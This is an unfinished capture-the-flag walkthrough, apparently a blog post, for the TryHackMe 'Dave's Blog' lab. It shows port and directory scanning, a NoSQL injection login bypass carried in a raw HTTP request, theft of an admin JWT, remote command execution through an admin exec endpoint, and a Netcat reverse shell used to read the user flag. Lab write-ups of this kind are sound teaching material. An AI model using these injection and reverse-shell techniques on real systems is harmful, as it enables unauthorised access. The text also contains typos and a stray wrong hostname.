Today's problem is: https://tryhackme.com/room/davesblog

The following entry was added to the /etc/hosts file to simplify hostname-based interaction with the target system:

<TARGET_IP> dave.thm

The initial enumeration phase was started by performing a full port scan against the target machine using Nmap. The following commands were executed to identify open ports and active services:

nmap -p- --open blue.thm
nmap -sC -sV -p <OPEN_PORTS> blue.thm
┌──(root㉿vbox)-[~]
└─# nmap -p- --open dave.thm              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 19:09 +0530
Nmap scan report for dave.thm (10.49.137.114)
Host is up (0.037s latency).
Not shown: 65531 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 171.35 seconds
                                                                                                                                                                                                                                           
┌──(root㉿vbox)-[~]
└─# nmap -sC -sV -p 22,80,3000 dave.thm   
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 19:13 +0530
Nmap scan report for dave.thm (10.49.137.114)
Host is up (0.033s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f9:31:1f:9f:b4:a1:10:9d:a9:69:ec:d5:97:df:1a:34 (RSA)
|   256 e9:f5:b9:9e:39:33:00:d2:7f:cf:75:0f:7a:6d:1c:d3 (ECDSA)
|_  256 44:f2:51:7f:de:78:94:b2:75:2b:a8:fe:25:18:51:49 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: Dave's Blog
|_http-server-header: nginx/1.14.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Dave's Blog
| http-robots.txt: 1 disallowed entry 
|_/admin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds

The scan revealed the following services running on the machine's open ports:

22 -> SSH
80,3000 -> HTTP

A directory enumeration scan was also performed against the HTTP service using Gobuster to identify any further hidden or restricted endpoints on the HTTP port 3000.

┌──(root㉿vbox)-[~]
└─# gobuster dir -u http://dave.thm:3000  -w /usr/share/seclists/Discovery/Web-Content/big.txt 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dave.thm:3000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
ADMIN                (Status: 200) [Size: 1254]
Admin                (Status: 200) [Size: 1254]
admin                (Status: 200) [Size: 1254]
images               (Status: 301) [Size: 179] [--> /images/]
javascripts          (Status: 301) [Size: 189] [--> /javascripts/]
robots.txt           (Status: 200) [Size: 31]
stylesheets          (Status: 301) [Size: 189] [--> /stylesheets/]
Progress: 20481 / 20481 (100.00%)
===============================================================
Finished
===============================================================

It reveals an endpoint "/admin" which contains login page.

To streamline further exploitation and payload testing, Burp Suite was used to capture and manipulate the requests.

A request was sent then with demo login credentials, which reveals that a JSON Web Token was assigned as a cookie, to the user.

As provided in the hint on the website, the website is made on a NoSQL database, so anappropriatee payload was then used to gain logiaccessss to the website.

The header of the capture required was changed mentioned belowned, by updating the username and password payloads and changing the content type to accept JSON content, instead of URL-encoded content.

The updated request used to grab the admin token was:

POST /admin HTTP/1.1
Host: dave.thm:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 43
Origin: http://dave.thm:3000
Connection: keep-alive
Referer: http://dave.thm:3000/admin
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3NzY2MTQ3MTB9.qq-Tvea34IfV7T57eI05ML8md2Jgg_i-8o-JfWrgBVY
Upgrade-Insecure-Requests: 1
Priority: u=0, i

{"username":"dave","password":{"$ne":null}}

The request reveals the admin JWT token in the respons,e acting as a cookie.

The cookie can then be updated by going to Developer Tools -> Storage -> dave.thm -> Replace the already present token with the new token as shown below.

None
Updating the cookie

The FLAG 1 was captured from the decoded admin's JWT token.

None
<<FLAG_1>>

Alternatively https://www.jwt.io can also be used to decrypt the JWT token.

After updating the cookie and refreshing the site, the website logs in the user andrevealsl command-lineng interface.

The code from the page source reveals the commands are being sent tothe JavaScript execution context.

  <script>
    document.querySelector('button').onclick = async () => {
      
      const request = await fetch('/admin/exec', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({ exec: document.querySelector('input').value })
      });
      const response = await request.text();
      document.querySelector('textarea').value = response;

    }
  </script>

The request was then captured in BurpSuite, and the following payload was added to the request to get a proper system command execution.

The reverse shell was spawned by modifying the request as mentioned below:

The medium is having issues, the link to the github repo containg the request
will be updated here, alternatively, any reverse shell code can be copied from
online tools, and used.

A Netcat listener was started on the attacker machine, and the reverse shell was triggered by sending the request from Burp's Repeater.

The reverse shell can be stabilised using the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'


Ctrl+Z


stty raw -echo
fg
┌──(root㉿vbox)-[~]
└─# nc -lvnp 4444  
listening on [any] 4444 ...
connect to [192.168.149.224] from (UNKNOWN) [10.48.178.8] 59792
bash: cannot set terminal process group (929): Inappropriate ioctl for device
bash: no job control in this shell
dave@daves-blog:~/blog$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
dave@daves-blog:~/blog$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                                                                                                            
┌──(root㉿vbox)-[~]
└─# stty raw -echo
fg     
[1]  + continued  nc -lvnp 4444

dave@daves-blog:~$ whoami
dave

The user flag can be obtained from the "/home/dave" directory:

dave@daves-blog:~$ whoami
dave
dave@daves-blog:~$ cd /home/dave/
dave@daves-blog:~$ cat user.txt 
<<USER_FLAG>>

As Medium is not responding today at all, the rest of the write-up will be updated here later.